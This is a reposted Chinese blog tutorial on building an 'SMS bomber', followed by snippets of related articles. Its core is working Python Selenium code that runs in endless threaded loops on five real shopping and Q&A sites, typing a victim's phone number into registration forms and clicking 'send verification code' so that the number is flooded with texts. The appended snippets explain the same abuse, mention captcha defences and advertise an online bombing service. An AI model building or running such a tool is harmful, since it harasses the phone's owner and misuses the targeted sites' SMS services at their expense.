手把手教你实现"短信轰炸"

手把手教你实现"短信轰炸"

我这里采用简单易懂的语言--"Python3"来实现

 

实现前的准备:

            1,电脑,谷歌浏览器

2,python3环境

3,chromedrive相应的版本

1 ,  当然需要下载python的咯--> Python最新源码,二进制文档,新闻资讯等可以在Python的官网查看到:

      Python官网:https://www.python.org/你可以在以下链接中下载 Python 的文档,你可以下载 HTML、PDF 和 PostScript 等格式的文档。

      Python文档下载地址:https://www.python.org/doc/  我这下载的是最新版本python3.7

你们下载后按照一步一步的next就差不多了没什么难度和特别的地方,然后你把python追加到你的系统变量(右击电脑->高级设置->环境配置)的path中就可以了.

2,你需要自动的去实现浏览器页面的事件你当然必不可少的需要安装chromedriver啦,下面给你详细的安装步骤

点击下面的连接下载chromedrive,

http://chromedriver.storage.googleapis.com/index.html

你会看到很多版本,这个版本要对应你的谷歌浏览器的版本哟,大致的就可以咯哟,现在谷歌最新版本应该是73.0.3683.

  下载的安装目录一定要在你的谷歌浏览器的目录里面,否者是没用的哟,,我把我的贴上去了

  一切准备就绪了,那就打开你的python,在这里我们需要安装三个python包,如果你是linux操作系统可能比较方便安装引入查看相应的库和,不过在windows下你可以定位到你python下的script的文件下按住shift键右击在此处打开命令不过你用cd去定位也是一样的哟,pip install 包名  这样既可以了哟!如果你觉得慢的话,,你也可以直接在网上下载到python文件里面去哟,再说的话你直接在相关的python(pycharm)编辑器里面的设置去引入包也是一样的,我在这里就不累赘叙说了.

3,话不多说->直接上代码:

 1 from selenium import webdriver
 2 import time
 3 from threading import Thread
 4
 5 class HongZha(object):
 6     def __init__(self):
 7         self.phone = "12345678909"#你要轰炸的电话号码
 8         self.num = 0
 9     def send_yzm(self,button,name):
10         button.click()
11         self.num+=1
12         print("{}   第{}次   发送成功   {}".format(self.phone,self.num,name))
13         time.sleep(2)
14     def zhihu(self,name):
15         while True:#下面这行是刚刚叙说的chromedrive的安装路径
16
17             driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
18             driver.get("https://www.zhihu.com/question/39993344")
19             driver.find_element_by_xpath ( "//button[@class=‘Button Button--primary Button--blue‘]" ).click ()
20             time.sleep(2)
21             tel = driver.find_element_by_xpath("//input[@placeholder=‘手机号‘]")
22             tel.send_keys(self.phone)
23             button = driver.find_element_by_xpath ( "//button[@class=‘Button CountingDownButton SignFlow-smsInputButton Button--plain‘]" )
24             self.send_yzm(button,name)
25             driver.quit ()
26     def guazi(self,name):
27         while True:
28             driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
29             driver.get("https://www.guazi.com/www/bj/buy")
30             a_btn = driver.find_element_by_xpath ( "//a[@class=‘uc-my‘]" )
31             a_btn.click()
32             time.sleep(2)
33             tel = driver.find_element_by_xpath("//input[@placeholder=‘请输入您的手机号码‘]")
34             tel.send_keys( self.phone )
35             button = driver.find_element_by_xpath("//button[@class=‘get-code‘]")
36             self.send_yzm(button,name)
37             driver.quit()
38     def wphui(self,name):
39         while True:
40             driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
41             driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
42             tel = driver.find_element_by_xpath ( "//input[@placeholder=‘请输入手机号码‘]" )
43             tel.send_keys ( self.phone )
44             driver.find_element_by_xpath ( "//input[@id=‘J_mobile_code‘]" ).click()
45             button = driver.find_element_by_xpath (
46                 "//a[@class=‘ui-btn-medium btn-verify-code ui-btn-secondary‘]" )
47             self.send_yzm ( button,name )
48             driver.quit ()
49     def suning(self,name):
50         while True:
51             driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
52             driver.get ( "https://reg.suning.com/person.do" )
53             driver.find_element_by_xpath("//a[@class=‘agree-btn‘]").click()
54             tel = driver.find_element_by_xpath ( "//input[@id=‘mobileAlias‘]")
55             tel.send_keys ( self.phone )
56             button = driver.find_element_by_xpath (
57                 "//a[@id=‘sendSmsCode‘]" )
58             self.send_yzm ( button,name )
59             driver.quit ()
60     def yhd(self,name):
61         while True:
62             driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
63             driver.get ( "https://passport.yhd.com/passport/register_input.do" )
64             driver.find_element_by_xpath ( "//input[@id=‘userName‘]" ).send_keys("我的女神")
65             tel = driver.find_element_by_xpath ( "//input[@id=‘phone‘]" )
66             tel.send_keys ( self.phone )
67             time.sleep(2)
68             button = driver.find_element_by_xpath (
69                 "//a[@class=‘receive_code fl same_code_btn r_disable_code ‘]" )
70             #button.click()
71             time.sleep(1)
72             self.send_yzm ( button,name )
73             driver.quit ()
74 if __name__ == ‘__main__‘:
75     hongzha = HongZha()
76     zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
77     guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
78     wphui = Thread(target=hongzha.wphui,args=("唯品会",))
79     suning = Thread(target=hongzha.suning,args=("苏宁",))
80     yhd    = Thread( target=hongzha.yhd,args=("一号店",))

然后运行结果我就不弄太多,因为是我自己的手机测试的,

我做的处理防止拿我手机号来轰炸!

zhihu.start()guazi.start()

    wphui.start()    suning.start()    yhd.start()

在这里申明:我只提供技术上的学习讨论,不能来搞商业事情,,小编概不负任何责任....声明: 你们拿来做的任何事情与小编无关!

下篇手把手教你们如何爬取整个小说网站并且实现小说的"语音播放".

扫码公众号--回复“短信轰炸”获取源码:

原文地址:https://www.cnblogs.com/chenqiwei/p/RunWsh_info.html

时间: 2024-11-11 19:22:35

手把手教你实现"短信轰炸"的相关文章

短信轰炸工具原理解析

温馨提示:本文文章紧作为学习探讨,不能用于破坏攻击用途,后果自负.文章后面有Demo源码下载,使用C#语言开发. 相信不少人都莫名奇妙收过一些注册验证码短信.登录验证码短信,自己没去注册也没登录,甚至有些人无缘无故收到大量的各种网站的验证码短信.遇到这种情况,要么是有人注册填错了号码,要么就是你得罪了什么人被恶搞报复了,前者的可能性很少,填错号码注册也不会收到大量的短信:后者的情况是别人利用一种叫短信轰炸机的工具轰炸你,这种工具有桌面版的,也有网页版的,功能原理都差不多,输入一个号码,就可以对这

图形验证码实现方案(解决短信轰炸问题)

最近收到leader的一个邮件说我们的项目有短信轰炸风险.顿时让一个做技术开发的人为之一颤.今天给大家介绍一个解决这个问题的使用工具. 就是谷歌的 kaptcha 进行验证码生成和校验.闲话少说直接上代码. 1. 首先下载一个工具包 <dependency> <groupId>com.github.axet</groupId> <artifactId>kaptcha</artifactId> <version>0.0.9</ve

简析短信轰炸给平台注册场景带来的交互安全威胁

大部分的网站和移动应用在注册时使用手机号码作为平台账号,利用短信验证来鉴别手机号是否属于用户本人.因此,我们在各类平台的注册场景经常见到短信验证.然而,这种验证工具背后却暗藏许多安全隐患.其中最主要的一种就是黑产利用各类平台的短信验证接口进行短信轰炸. 短信轰炸造成短信通道阻塞.企业品牌形象受损.短信费用被大量恶意消耗等负面影响,若被用户投诉,还将导致短信接口封禁,直接影响网站正常业务. 下面将详细给大家介绍短信轰炸的流程以及几种应对方式的分析: 何为短信轰炸 短信轰炸是通过各平台获取短信验证码

短信轰炸的原理及解决思路

大部分的网站和移动应用在注册时使用手机号码作为平台账号,利用短信验证来鉴别手机号是否属于用户本人.因此,我们在各类平台的注册场景经常见到短信验证.然而,这种验证工具背后却暗藏许多安全隐患.其中最主要的一种就是黑产利用各类平台的短信验证接口进行短信轰炸. 短信轰炸造成短信通道阻塞.企业品牌形象受损.短信费用被大量恶意消耗等负面影响,若被用户投诉,还将导致短信接口封禁,直接影响网站正常业务. 什么是短信轰炸? 短信轰炸是通过各平台获取短信验证码,达到恶意发送垃圾短信的工具.这种"短信炸弹"

利用网络短信验证码接口实现手机短信轰炸 (历史代码,贴出学习)

//resource.h //{{NO_DEPENDENCIES}} // Microsoft Visual C++ generated include file. // #define IDD_DLG_PROC 101 #define IDR_BIT1 102 #define IDB_BITMAP1 103 #define IDI_ICON1 104 #define IDC_BTN_SEND 1001 #define IDC_LIST_VIEW 1002 #define IDC_EDIT_PH

短信轰炸的原理

以前经常有朋友找我问有没有短信轰炸的APP,我想一个做技术的人还是要搞懂短信轰炸的原理的.其实也很简单,一起来学习下. 1.发现一个短信接口没做什么机制的网站,很多小网站都有这个漏洞 2.打开burpsuit,将浏览器网络设置一下,让其流量走burpsuit 3.将抓到的包repeater一下,然后go几次,看看效果 效果真强.. 原文地址:https://www.cnblogs.com/liyanhu/p/9828385.html

短信轰炸,得罪一个Android转Python的程序员是件多么可怕的事?

Android支持python的,首先我们要明确这一点. Android运行python,需要先安装庞大的python及需要的库.开发出的app需要包含python,安装包很大.运行的速度也会稍微受影响. 换言之,用Python开发Android程序是没有问题的. 有一个朋友,当初开始学的是Android编程,然后继续进修Python.前几天我一个相识的人得罪了他,其中各种原因就不在这里吐槽了!我给你们还原一下当时的情景: 以下是我和他的聊天记录: 最后还是不得不向我们的Python程序员请求道

短信轰炸数据

http://id.ourgame.com/mobilepassport!getMobileYzm.do?passport=http://id.ourgame.com/mobilepassport!getMobileYzm.do?passport=http://id.ourgame.com/mobilepassport!getMobileYzm.do?passport=http://hd.jiedaibao.com/promotion/send-verify-code?icode=GQ9KBF3

短信轰炸机网页版

程序员也有一颗拯救世界的心.希望用这个在线短信轰炸平台惩罚骗子,伸张正义,让你一次炸个爽.传送门:http://www.batman110.help/ 轰炸截图 轰炸说明 1.通过互联网第三方接口发送短信给对方,全程免费,不会显示您自己的号码 2.每天限对一个号码进行10次轰炸 3.通过分享让更多人知道这个小工具的存在 关于我们 1.程序员也有一颗拯救世界的心.希望用这个平台惩罚骗子,伸张正义 2.短信已经可以正常发送,同时还在不断改进中,敬请期待 3.不要恶意骚扰他人,重要的事情要说三遍